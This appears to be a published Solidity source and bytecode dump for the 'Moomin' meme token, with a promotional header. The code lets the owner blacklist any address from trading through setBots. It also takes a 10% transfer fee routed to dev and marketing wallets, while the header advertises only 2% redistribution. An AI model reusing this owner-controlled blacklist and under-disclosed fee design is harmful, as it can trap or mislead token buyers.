twitter - https://twitter.com/moomin_token
reddit - https://www.reddit.com/r/moomintoken/
email - [email protected]
Moomin family are trolls. They live in their house in Moominvalley and have any adventures with their friends.
Moomin is famous for being interested and excited about everything he sees and finds,
always trying to be good, but sometimes getting into trouble while doing so.
No presale, public or private
No dev tokens, no marketing tokens, developers will be compensated by a small fee on each transaction.
Total supply = 1,000,000,000,000 initial buy limit 10,000,000,000
2% redistribution
30 seconds cooldown on each buy.
*/
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
if (returndata.length > 0) {
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract MOOMIN is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private bots;
mapping (address => uint) private cooldown;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
string private constant _name = "Moomin";
string private constant _symbol = "MOOMIN";
uint8 private constant _decimals = 9;
uint256 private _taxFee;
uint256 private _teamFee;
uint256 private _previousTaxFee = _taxFee;
uint256 private _previousteamFee = _teamFee;
address payable private _DevAddress;
address payable private _MarketingAddress;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor (address payable DevAddress, address payable MarketingAddress) {
_DevAddress = DevAddress;
_MarketingAddress = MarketingAddress;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_DevAddress] = true;
_isExcludedFromFee[_MarketingAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if(_taxFee == 0 && _teamFee == 0) return;
_previousTaxFee = _taxFee;
_previousteamFee = _teamFee;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = _previousTaxFee;
_teamFee = _previousteamFee;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
_taxFee = 2;
_teamFee = 8;
if (from != owner() && to != owner()) {
if (cooldownEnabled) {
if (from != address(this) && to != address(this) && from != address(uniswapV2Router) && to != address(uniswapV2Router)) {
require(_msgSender() == address(uniswapV2Router) || _msgSender() == uniswapV2Pair,"ERR: Uniswap only");
}
}
require(amount <= _maxTxAmount);
require(!bots[from] && !bots[to]);
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) {
require(tradingOpen);
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (30 seconds);
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){
takeFee = false;
}
_tokenTransfer(from,to,amount,takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_DevAddress.transfer(amount.mul(40).div(100));
_MarketingAddress.transfer(amount.mul(60).div(100));
}
function manualswap() external {
require(_msgSender() == owner());
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == owner());
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function addLiquidity() external onlyOwner() {
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
cooldownEnabled = true;
_maxTxAmount = 10000000000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private {
if(!takeFee)
removeAllFee();
_transferStandard(sender, recipient, amount);
if(!takeFee)
restoreAllFee();
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferToExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
require(maxTxPercent > 0, "Amount must be greater than 0");
_maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2);
emit MaxTxAmountUpdated(_maxTxAmount);
}
}
|
0x60806040526004361061010d5760003560e01c8063715018a611610095578063b515566a11610064578063b515566a14610364578063c3c8cd801461038d578063d543dbeb146103a4578063dd62ed3e146103cd578063e8078d941461040a57610114565b8063715018a6146102ba5780638da5cb5b146102d157806395d89b41146102fc578063a9059cbb1461032757610114565b8063273123b7116100dc578063273123b7146101e9578063313ce567146102125780635932ead11461023d5780636fc3eaec1461026657806370a082311461027d57610114565b806306fdde0314610119578063095ea7b31461014457806318160ddd1461018157806323b872dd146101ac57610114565b3661011457005b600080fd5b34801561012557600080fd5b5061012e610421565b60405161013b9190612ea7565b60405180910390f35b34801561015057600080fd5b5061016b600480360381019061016691906129ae565b61045e565b6040516101789190612e8c565b60405180910390f35b34801561018d57600080fd5b5061019661047c565b6040516101a39190613049565b60405180910390f35b3480156101b857600080fd5b506101d360048036038101906101ce919061295b565b61048d565b6040516101e09190612e8c565b60405180910390f35b3480156101f557600080fd5b50610210600480360381019061020b91906128c1565b610566565b005b34801561021e57600080fd5b50610227610656565b60405161023491906130be565b60405180910390f35b34801561024957600080fd5b50610264600480360381019061025f9190612a37565b61065f565b005b34801561027257600080fd5b5061027b610711565b005b34801561028957600080fd5b506102a4600480360381019061029f91906128c1565b610768565b6040516102b19190613049565b60405180910390f35b3480156102c657600080fd5b506102cf6107b9565b005b3480156102dd57600080fd5b506102e661090c565b6040516102f39190612dbe565b60405180910390f35b34801561030857600080fd5b50610311610935565b60405161031e9190612ea7565b60405180910390f35b34801561033357600080fd5b5061034e600480360381019061034991906129ae565b610972565b60405161035b9190612e8c565b60405180910390f35b34801561037057600080fd5b5061038b600480360381019061038691906129ee565b610990565b005b34801561039957600080fd5b506103a2610aba565b005b3480156103b057600080fd5b506103cb60048036038101906103c69190612a91565b610b19565b005b3480156103d957600080fd5b506103f460048036038101906103ef919061291b565b610c62565b6040516104019190613049565b60405180910390f35b34801561041657600080fd5b5061041f610ce9565b005b60606040518060400160405280600681526020017f4d6f6f6d696e0000000000000000000000000000000000000000000000000000815250905090565b600061047261046b611245565b848461124d565b6001905092915050565b6000683635c9adc5dea00000905090565b600061049a848484611418565b61055b846104a6611245565b610556856040518060600160405280602881526020016137c560289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061050c611245565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c009092919063ffffffff16565b61124d565b600190509392505050565b61056e611245565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146105fb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105f290612f89565b60405180910390fd5b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b610667611245565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146106f4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106eb90612f89565b60405180910390fd5b80601160176101000a81548160ff02191690831515021790555050565b61071961090c565b73ffffffffffffffffffffffffffffffffffffffff16610737611245565b73ffffffffffffffffffffffffffffffffffffffff161461075757600080fd5b600047905061076581611c64565b50565b60006107b2600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d85565b9050919050565b6107c1611245565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461084e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161084590612f89565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600681526020017f4d4f4f4d494e0000000000000000000000000000000000000000000000000000815250905090565b600061098661097f611245565b8484611418565b6001905092915050565b610998611245565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a25576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a1c90612f89565b60405180910390fd5b60005b8151811015610ab657600160066000848481518110610a4a57610a49613406565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610aae9061335f565b915050610a28565b5050565b610ac261090c565b73ffffffffffffffffffffffffffffffffffffffff16610ae0611245565b73ffffffffffffffffffffffffffffffffffffffff1614610b0057600080fd5b6000610b0b30610768565b9050610b1681611df3565b50565b610b21611245565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610bae576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ba590612f89565b60405180910390fd5b60008111610bf1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610be890612f49565b60405180910390fd5b610c206064610c1283683635c9adc5dea0000061207b90919063ffffffff16565b6120f690919063ffffffff16565b6012819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf601254604051610c579190613049565b60405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610cf1611245565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d7e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d7590612f89565b60405180910390fd5b601160149054906101000a900460ff1615610dce576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610dc590613009565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080601060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610e5e30601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea0000061124d565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610ea457600080fd5b505afa158015610eb8573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610edc91906128ee565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610f3e57600080fd5b505afa158015610f52573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f7691906128ee565b6040518363ffffffff1660e01b8152600401610f93929190612dd9565b602060405180830381600087803b158015610fad57600080fd5b505af1158015610fc1573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610fe591906128ee565b601160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d719473061106e30610768565b60008061107961090c565b426040518863ffffffff1660e01b815260040161109b96959493929190612e2b565b6060604051808303818588803b1580156110b457600080fd5b505af11580156110c8573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906110ed9190612abe565b5050506001601160166101000a81548160ff0219169083151502179055506001601160176101000a81548160ff021916908315150217905550678ac7230489e800006012819055506001601160146101000a81548160ff021916908315150217905550601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b81526004016111ef929190612e02565b602060405180830381600087803b15801561120957600080fd5b505af115801561121d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906112419190612a64565b5050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156112bd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112b490612fe9565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561132d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161132490612f09565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161140b9190613049565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611488576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161147f90612fc9565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156114f8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114ef90612ec9565b60405180910390fd5b6000811161153b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161153290612fa9565b60405180910390fd5b6002600a819055506008600b8190555061155361090c565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156115c1575061159161090c565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611b3d57601160179054906101000a900460ff16156117f4573073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561164357503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b801561169d5750601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156116f75750601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b156117f357601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661173d611245565b73ffffffffffffffffffffffffffffffffffffffff1614806117b35750601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661179b611245565b73ffffffffffffffffffffffffffffffffffffffff16145b6117f2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117e990613029565b60405180910390fd5b5b5b60125481111561180357600080fd5b600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156118a75750600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6118b057600080fd5b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614801561195b5750601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156119b15750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156119c95750601160179054906101000a900460ff165b15611a8357601160149054906101000a900460ff166119e757600080fd5b42600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410611a3257600080fd5b601e42611a3f919061317f565b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6000611a8e30610768565b9050601160159054906101000a900460ff16158015611afb5750601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611b135750601160169054906101000a900460ff165b15611b3b57611b2181611df3565b60004790506000811115611b3957611b3847611c64565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611be45750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611bee57600090505b611bfa84848484612140565b50505050565b6000838311158290611c48576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c3f9190612ea7565b60405180910390fd5b5060008385611c579190613260565b9050809150509392505050565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611cc76064611cb960288661207b90919063ffffffff16565b6120f690919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611cf2573d6000803e3d6000fd5b50600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611d566064611d48603c8661207b90919063ffffffff16565b6120f690919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611d81573d6000803e3d6000fd5b5050565b6000600854821115611dcc576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611dc390612ee9565b60405180910390fd5b6000611dd661216d565b9050611deb81846120f690919063ffffffff16565b915050919050565b6001601160156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611e2b57611e2a613435565b5b604051908082528060200260200182016040528015611e595781602001602082028036833780820191505090505b5090503081600081518110611e7157611e70613406565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611f1357600080fd5b505afa158015611f27573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611f4b91906128ee565b81600181518110611f5f57611f5e613406565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611fc630601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168461124d565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b815260040161202a959493929190613064565b600060405180830381600087803b15801561204457600080fd5b505af1158015612058573d6000803e3d6000fd5b50505050506000601160156101000a81548160ff02191690831515021790555050565b60008083141561208e57600090506120f0565b6000828461209c9190613206565b90508284826120ab91906131d5565b146120eb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120e290612f